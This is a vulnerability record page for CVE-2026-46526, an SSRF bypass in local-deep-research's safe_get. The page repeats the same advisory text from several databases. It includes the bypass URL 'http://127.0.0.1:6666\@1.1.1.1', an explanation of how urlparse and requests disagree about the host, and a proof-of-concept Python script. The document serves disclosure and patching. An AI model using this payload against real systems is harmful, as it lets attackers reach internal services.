CVE-2026-46526
Local Deep Research: SSRF bypass in `safe_get`
Local Deep Research is an AI-powered research assistant for deep, iterative research. Prior to 1.6.10, the URL checking logic in local-deep-research has a logical flaw that could be bypassed by attackers, leading to SSRF attacks. The current project uses validate_url to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks. However, there are indeed differences in parsing between urlparse and the library that actually sends the request. For example, in safe_get, validate_url is first used to perform an SSRF check, and then requests.get is used to send the actual request. This vulnerability is fixed in 1.6.10.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- Low
- Integrity
- None
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
5.0
Local Deep Research: SSRF bypass in `safe_get`
Local Deep Research is an AI-powered research assistant for deep, iterative research. Prior to 1.6.10, the URL checking logic in local-deep-research has a logical flaw that could be bypassed by attackers, leading to SSRF attacks. The current project uses validate_url to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks. However, there are indeed differences in parsing between urlparse and the library that actually sends the request. For example, in safe_get, validate_url is first used to perform an SSRF check, and then requests.get is used to send the actual request. This vulnerability is fixed in 1.6.10.
- Record
CVE-2026-46526- CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
EUVDEUVD-2026-32977
5.0
Local Deep Research is an AI-powered research assistant for deep, iterative research. Prior to 1.6.10, the URL checking logic in local-deep-research has a logical flaw that could be bypassed by attackers, leading to SSRF attacks. The current project uses validate_url to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks. However, there are indeed differences in parsing between urlparse and the library that actually sends the request. For example, in safe_get, validate_url is first used to perform an SSRF check, and then requests.get is used to send the actual request. This vulnerability is fixed in 1.6.10.
- Record
EUVD-2026-32977- CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-g23j-2vwm-5c25
5.0
local-deep-research has an SSRF bypass in `safe_get`
Summary
The URL checking logic in local-deep-research has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.
Details
The current project uses validate_url to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks.
<img width="1173" height="1107" alt="QQ20260430-212334-30-1" src="https://github.com/user-attachments/assets/52b356aa-9ad3-4b1d-a472-39a2ada3ea23" />
However, there are indeed differences in parsing between urlparse and the library that actually sends the request. For example, in safe_get, validate_url is first used to perform an SSRF check, and then requests.get is used to send the actual request.
<img width="1164" height="1089" alt="QQ20260430-212431-30-2" src="https://github.com/user-attachments/assets/f3decb16-4daa-49e0-861c-273a913487a0" />
The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:
- urlparse() treats \ as a regular character and @ as the userinfo-host delimiter, so it extracts hostname as
1.1.1.1(public) - requests treats \ as a path character, connecting to
127.0.0.1(internal)
Below is a test code I wrote following the code.
#!/usr/bin/env python3
"""Standalone demo: import project via absolute path and call safe_get."""
from __future__ import annotations
import importlib.util
import enum
import sys
import types
from pathlib import Path
# Hardcoded absolute path to the project's "src" directory.
SRC_ROOT = Path(
r"d:\BaiduNetdiskDownload\local-deep-research-main\local-deep-research-main\src"
)
# Python 3.10 compatibility:
# project constants import StrEnum (available in Python 3.11+).
if not hasattr(enum, "StrEnum"):
class _CompatStrEnum(str, enum.Enum):
pass
enum.StrEnum = _CompatStrEnum # type: ignore[attr-defined]
def _load_safe_get():
"""Load safe_get directly from file, bypassing package __init__ imports."""
ldr_pkg_name = "local_deep_research"
security_pkg_name = "local_deep_research.security"
# Build lightweight package modules so relative imports in safe_requests.py
# resolve without executing package __init__.py files.
if ldr_pkg_name not in sys.modules:
ldr_pkg = types.ModuleType(ldr_pkg_name)
ldr_pkg.__path__ = [str(SRC_ROOT / "local_deep_research")] # type: ignore[attr-defined]
sys.modules[ldr_pkg_name] = ldr_pkg
if security_pkg_name not in sys.modules:
security_pkg = types.ModuleType(security_pkg_name)
security_pkg.__path__ = [str(SRC_ROOT / "local_deep_research" / "security")] # type: ignore[attr-defined]
sys.modules[security_pkg_name] = security_pkg
module_name = "local_deep_research.security.safe_requests"
module_path = SRC_ROOT / "local_deep_research" / "security" / "safe_requests.py"
spec = importlib.util.spec_from_file_location(module_name, module_path)
if spec is None or spec.loader is None:
raise ImportError(f"Cannot load module from {module_path}")
module = importlib.util.module_from_spec(spec)
sys.modules[module_name] = module
spec.loader.exec_module(module)
return module.safe_get
safe_get = _load_safe_get()
def main() -> None:
# Hardcoded URL for demonstration.
url = "http://127.0.0.1:6666"
# url = "http://127.0.0.1:6666\@1.1.1.1"
safe_get(url, timeout=15)
if __name__ == "__main__":
main()
When an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it.
<img width="1694" height="503" alt="QQ20260430-212723-30-3" src="https://github.com/user-attachments/assets/366f684d-9191-4acb-b6a2-b2c3c54f0223" />
However, when an attacker uses http://127.0.0.1:6666\@1.1.1.1, the detection logic resolves the host to 1.1.1.1, which is a public IP address, thus passing the verification. But in the actual request…
- Record
GHSA-g23j-2vwm-5c25- CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
NVD
5.0
Local Deep Research is an AI-powered research assistant for deep, iterative research. Prior to 1.6.10, the URL checking logic in local-deep-research has a logical flaw that could be bypassed by attackers, leading to SSRF attacks. The current project uses validate_url to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks. However, there are indeed differences in parsing between urlparse and the library that actually sends the request. For example, in safe_get, validate_url is first used to perform an SSRF check, and then requests.get is used to send the actual request. This vulnerability is fixed in 1.6.10.
- Record
CVE-2026-46526- CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSV
5.0
Local Deep Research: SSRF bypass in `safe_get`
Local Deep Research is an AI-powered research assistant for deep, iterative research. Prior to 1.6.10, the URL checking logic in local-deep-research has a logical flaw that could be bypassed by attackers, leading to SSRF attacks. The current project uses validate_url to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks. However, there are indeed differences in parsing between urlparse and the library that actually sends the request. For example, in safe_get, validate_url is first used to perform an SSRF check, and then requests.get is used to send the actual request. This vulnerability is fixed in 1.6.10.
- Record
CVE-2026-46526- CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSVGHSA-g23j-2vwm-5c25
5.0
local-deep-research has an SSRF bypass in `safe_get`
Summary
The URL checking logic in local-deep-research has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.
Details
The current project uses validate_url to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks.
<img width="1173" height="1107" alt="QQ20260430-212334-30-1" src="https://github.com/user-attachments/assets/52b356aa-9ad3-4b1d-a472-39a2ada3ea23" />
However, there are indeed differences in parsing between urlparse and the library that actually sends the request. For example, in safe_get, validate_url is first used to perform an SSRF check, and then requests.get is used to send the actual request.
<img width="1164" height="1089" alt="QQ20260430-212431-30-2" src="https://github.com/user-attachments/assets/f3decb16-4daa-49e0-861c-273a913487a0" />
The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:
- urlparse() treats \ as a regular character and @ as the userinfo-host delimiter, so it extracts hostname as
1.1.1.1(public) - requests treats \ as a path character, connecting to
127.0.0.1(internal)
Below is a test code I wrote following the code.
#!/usr/bin/env python3
"""Standalone demo: import project via absolute path and call safe_get."""
from __future__ import annotations
import importlib.util
import enum
import sys
import types
from pathlib import Path
# Hardcoded absolute path to the project's "src" directory.
SRC_ROOT = Path(
r"d:\BaiduNetdiskDownload\local-deep-research-main\local-deep-research-main\src"
)
# Python 3.10 compatibility:
# project constants import StrEnum (available in Python 3.11+).
if not hasattr(enum, "StrEnum"):
class _CompatStrEnum(str, enum.Enum):
pass
enum.StrEnum = _CompatStrEnum # type: ignore[attr-defined]
def _load_safe_get():
"""Load safe_get directly from file, bypassing package __init__ imports."""
ldr_pkg_name = "local_deep_research"
security_pkg_name = "local_deep_research.security"
# Build lightweight package modules so relative imports in safe_requests.py
# resolve without executing package __init__.py files.
if ldr_pkg_name not in sys.modules:
ldr_pkg = types.ModuleType(ldr_pkg_name)
ldr_pkg.__path__ = [str(SRC_ROOT / "local_deep_research")] # type: ignore[attr-defined]
sys.modules[ldr_pkg_name] = ldr_pkg
if security_pkg_name not in sys.modules:
security_pkg = types.ModuleType(security_pkg_name)
security_pkg.__path__ = [str(SRC_ROOT / "local_deep_research" / "security")] # type: ignore[attr-defined]
sys.modules[security_pkg_name] = security_pkg
module_name = "local_deep_research.security.safe_requests"
module_path = SRC_ROOT / "local_deep_research" / "security" / "safe_requests.py"
spec = importlib.util.spec_from_file_location(module_name, module_path)
if spec is None or spec.loader is None:
raise ImportError(f"Cannot load module from {module_path}")
module = importlib.util.module_from_spec(spec)
sys.modules[module_name] = module
spec.loader.exec_module(module)
return module.safe_get
safe_get = _load_safe_get()
def main() -> None:
# Hardcoded URL for demonstration.
url = "http://127.0.0.1:6666"
# url = "http://127.0.0.1:6666\@1.1.1.1"
safe_get(url, timeout=15)
if __name__ == "__main__":
main()
When an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it.
<img width="1694" height="503" alt="QQ20260430-212723-30-3" src="https://github.com/user-attachments/assets/366f684d-9191-4acb-b6a2-b2c3c54f0223" />
However, when an attacker uses http://127.0.0.1:6666\@1.1.1.1, the detection logic resolves the host to 1.1.1.1, which is a public IP address, thus passing the verification. But in the actual request…
- Record
GHSA-g23j-2vwm-5c25- CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N - Weakness
- CWE-918
- Updated
- 2026-11-02
OSVPYSEC-2026-2611
5.0
local-deep-research has an SSRF bypass in `safe_get`
Summary
The URL checking logic in local-deep-research has a logical flaw that could be bypassed by attackers, leading to SSRF attacks.
Details
The current project uses validate_url to validate the input URL. The main logic is to perform security checks on the host portion of the URL extracted by urlparse to prevent SSRF attacks.
<img width="1173" height="1107" alt="QQ20260430-212334-30-1" src="https://github.com/user-attachments/assets/52b356aa-9ad3-4b1d-a472-39a2ada3ea23" />
However, there are indeed differences in parsing between urlparse and the library that actually sends the request. For example, in safe_get, validate_url is first used to perform an SSRF check, and then requests.get is used to send the actual request.
<img width="1164" height="1089" alt="QQ20260430-212431-30-2" src="https://github.com/user-attachments/assets/f3decb16-4daa-49e0-861c-273a913487a0" />
The core issue: urlparse() and requests disagree on which host a URL like http://127.0.0.1:6666\@1.1.1.1 points to:
- urlparse() treats \ as a regular character and @ as the userinfo-host delimiter, so it extracts hostname as
1.1.1.1(public) - requests treats \ as a path character, connecting to
127.0.0.1(internal)
Below is a test code I wrote following the code.
#!/usr/bin/env python3
"""Standalone demo: import project via absolute path and call safe_get."""
from __future__ import annotations
import importlib.util
import enum
import sys
import types
from pathlib import Path
# Hardcoded absolute path to the project's "src" directory.
SRC_ROOT = Path(
r"d:\BaiduNetdiskDownload\local-deep-research-main\local-deep-research-main\src"
)
# Python 3.10 compatibility:
# project constants import StrEnum (available in Python 3.11+).
if not hasattr(enum, "StrEnum"):
class _CompatStrEnum(str, enum.Enum):
pass
enum.StrEnum = _CompatStrEnum # type: ignore[attr-defined]
def _load_safe_get():
"""Load safe_get directly from file, bypassing package __init__ imports."""
ldr_pkg_name = "local_deep_research"
security_pkg_name = "local_deep_research.security"
# Build lightweight package modules so relative imports in safe_requests.py
# resolve without executing package __init__.py files.
if ldr_pkg_name not in sys.modules:
ldr_pkg = types.ModuleType(ldr_pkg_name)
ldr_pkg.__path__ = [str(SRC_ROOT / "local_deep_research")] # type: ignore[attr-defined]
sys.modules[ldr_pkg_name] = ldr_pkg
if security_pkg_name not in sys.modules:
security_pkg = types.ModuleType(security_pkg_name)
security_pkg.__path__ = [str(SRC_ROOT / "local_deep_research" / "security")] # type: ignore[attr-defined]
sys.modules[security_pkg_name] = security_pkg
module_name = "local_deep_research.security.safe_requests"
module_path = SRC_ROOT / "local_deep_research" / "security" / "safe_requests.py"
spec = importlib.util.spec_from_file_location(module_name, module_path)
if spec is None or spec.loader is None:
raise ImportError(f"Cannot load module from {module_path}")
module = importlib.util.module_from_spec(spec)
sys.modules[module_name] = module
spec.loader.exec_module(module)
return module.safe_get
safe_get = _load_safe_get()
def main() -> None:
# Hardcoded URL for demonstration.
url = "http://127.0.0.1:6666"
# url = "http://127.0.0.1:6666\@1.1.1.1"
safe_get(url, timeout=15)
if __name__ == "__main__":
main()
When an attacker uses http://127.0.0.1:6666/, the existing detection logic can detect that this is an internal network address and block it.
<img width="1694" height="503" alt="QQ20260430-212723-30-3" src="https://github.com/user-attachments/assets/366f684d-9191-4acb-b6a2-b2c3c54f0223" />
However, when an attacker uses http://127.0.0.1:6666\@1.1.1.1, the detection logic resolves the host to 1.1.1.1, which is a public IP address, thus passing the verification. But in the actual request…
- Record
PYSEC-2026-2611- CVSS 3.1
- 5.0 Medium
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:N/A:N - Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
local-deep-researchPyPI |
before 1.6.10 | 1.6.10 |
local-deep-researchPyPI |
before 1.6.10, plus listed versions 0.1.00.1.10.1.120.1.130.1.14 Show 45 moreShow less0.1.150.1.160.1.170.1.180.1.190.1.200.1.210.1.220.1.230.1.240.1.250.1.260.2.00.2.20.2.30.3.00.3.10.3.100.3.110.3.120.3.20.3.30.3.50.3.60.3.80.3.90.4.00.4.10.4.20.4.30.4.40.5.00.5.20.5.30.5.40.5.50.5.60.5.70.5.90.6.00.6.10.6.40.6.50.6.71.0.0 |
1.6.10 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-46526 is a medium vulnerability (CVSS 5.0) in Learningcircuit Local-deep-research, published May 28, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.30%, the 23rd percentile. Fixed in local-deep-research 1.6.10.
References
github.com/LearningCircuit/local-deep-research/security/advisories/GHSA-g23j-2vwm-5c25
github.com/LearningCircuit/local-deep-research/pull/3873
github.com/LearningCircuit/local-deep-research/pull/3882
github.com/LearningCircuit/local-deep-research/pull/3889
github.com/LearningCircuit/local-deep-research/pull/3932
github.com/LearningCircuit/local-deep-research/releases/tag/v1.6.10
Left out here: 92 versions and the rest of 3 source descriptions. The JSON record has them.